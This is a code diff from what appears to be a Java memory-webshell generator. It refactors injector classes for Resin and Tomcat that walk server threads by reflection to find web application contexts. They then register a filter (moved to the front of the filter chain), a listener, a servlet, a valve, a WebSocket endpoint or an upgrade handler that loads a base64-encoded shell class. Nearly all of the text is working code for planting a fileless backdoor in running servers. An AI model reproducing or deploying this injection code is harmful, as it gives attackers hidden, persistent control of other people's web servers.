-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -200,12 +199,8 @@ public class ResinListenerInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -40,7 +40,7 @@ public class ResinServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -183,8 +183,7 @@ public class ResinServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -201,12 +200,8 @@ public class ResinServletInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -60,6 +61,47 @@ public class TomcatFilterInjector {
         System.out.println(msg);
     }
 
+    /**
+     * org.apache.catalina.core.StandardContext
+     * /usr/local/tomcat/server/lib/catalina.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -76,34 +118,6 @@ public class TomcatFilterInjector {
         }
         return c + "(" + r + ")";
     }
-    /**
-     * org.apache.catalina.core.StandardContext
-     * /usr/local/tomcat/server/lib/catalina.jar
-     */
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
 
     private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
@@ -137,15 +151,18 @@ public class TomcatFilterInjector {
         }
         Object filterDef;
         Object filterMap;
+        Class<?> filterMapClass;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tomcat v8+
             filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
+            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             // tomcat v5+
             filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+            filterMap = filterMapClass.newInstance();
         }
 
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -163,11 +180,17 @@ public class TomcatFilterInjector {
             // tomcat v5
             invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         }
+
+        // addFilterMapFirst
+        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
+        Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
+        results[0] = filterMap;
+        System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
         try {
-            // v7.0.0 以上
+            // Tomcat5
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            setFieldValue(context, "filterMaps", results);
         } catch (Exception e) {
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
         }
 
         Constructor filterConfigConstructor;
@@ -239,20 +262,34 @@ public class TomcatFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Class<?> clazz = obj.getClass();
+        for (Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
             try {
-                Field field = clazz.getDeclaredField(name);
+                return clazz.getDeclaredField(name);
-                field.setAccessible(true);
+            } catch (NoSuchFieldException ignored) {
-                return field.get(obj);
+
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -53,6 +53,43 @@ public class TomcatListenerInjector {
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -70,32 +107,7 @@ public class TomcatListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
-        Set<Object> contexts = new HashSet<>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
-
-    private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -214,8 +226,7 @@ public class TomcatListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -232,12 +243,8 @@ public class TomcatListenerInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
     private static String msg = "";
     private static boolean ok = false;
 
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
     public TomcatProxyValveInjector() {
         if (ok) {
             return;
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         System.out.println(msg);
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
         this.rawValve = rawValve;
         this.proxyValve = proxyValve;
     }
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     @Override
     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
         if ("invoke".equals(method.getName())) {
@@ -100,12 +85,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
                 for (Object value : childrenMap.values()) {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
             } else if (thread.getContextClassLoader() != null) {
                 String name = thread.getContextClassLoader().getClass().getSimpleName();
                 if (name.matches(".+WebappClassLoader")) {
@@ -121,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         return contexts;
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -60,6 +62,43 @@ public class TomcatServletInjector {
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -77,31 +116,6 @@ public class TomcatServletInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java

@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -55,6 +55,47 @@ public class TomcatUpgradeInjector {
         System.out.println(msg);
     }
 
+    /**
+     * org.apache.catalina.core.StandardContext
+     * /usr/local/tomcat/server/lib/catalina.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -72,35 +113,6 @@ public class TomcatUpgradeInjector {
         return c + "(" + r + ")";
     }
 
-    /**
-     * org.apache.catalina.core.StandardContext
-     * /usr/local/tomcat/server/lib/catalina.jar
-     */
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
-
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

@@ -35,7 +35,7 @@ public class TomcatValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -53,6 +53,43 @@ public class TomcatValveInjector {
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -70,31 +107,6 @@ public class TomcatValveInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
-
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -7,7 +7,9 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -59,6 +61,43 @@ public class TomcatWebSocketInjector {
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -76,31 +115,6 @@ public class TomcatWebSocketInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null) {
